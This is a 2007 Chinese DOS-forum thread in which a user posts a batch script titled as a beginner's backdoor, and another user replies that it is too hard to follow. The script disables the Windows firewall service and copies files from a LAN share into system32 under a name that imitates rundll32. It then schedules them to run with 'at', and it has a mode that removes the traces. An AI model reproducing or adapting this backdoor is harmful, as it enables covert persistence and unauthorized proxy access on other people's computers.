中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-06 04:59
48,039 主题排行 / 350,124 发帖 / 今日 2 篇 / 48,251 会员排行
DOS批处理 & 脚本技术(批处理室) » 新手学写批处理后门
可打印版本  760 / 1
第1楼 world615 发表于 2007-10-18 10:24
初级用户 发帖 9 积分 24
新手学写批处理后门
@echo off
set p=\\192.168.0.%1\share\....\*.*
set p2=%systemroot%\system32\
set cm1=net stop sharedaccess
set cm2=taskkill /im "rund1132.exe" /F
set cm3=ping 127.0.0.1 -n 3
set cho=%2
if "%cho%"=="/i" goto i
if "%cho%"=="/d" goto d

:i
net start | find /I "ICS" >nul && %cm1% >nul
tasklist | find /I "rund1132.exe" >nul && %cm2% >nul && %cm3% >nul
copy %p% %p2% /y >nul && goto get_time
exit

:d
tasklist | find /I "rund1132.exe" >nul && %cm2% >nul && %cm3% >nul
del %p2%rund1132.exe
del %p2%CCProxy.ini
del %p2%AccInfo.ini
del %p2%CDial.dll
exit

:get_time
set h=%time:~0,2% & set m=%time:~3,2%
if "%h:~0,1%"=="0" set h=%h:~1,1%
if "%m:~0,1%"=="0" set m=%m:~1,1%
set /a m+=1
if "%m:~0,2%"=="60" (set /a h+=1 & set m=00)
if "%h:~0,2%"=="24" set t=00
set st=%h%:%m%
set st=%st: =%
at %st% cmd /c "rund1132.exe" >nul
exit
第2楼 Lick 发表于 2007-10-19 01:16
初级用户 发帖 28 积分 62
呵呵,太高了,还看不明白``
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023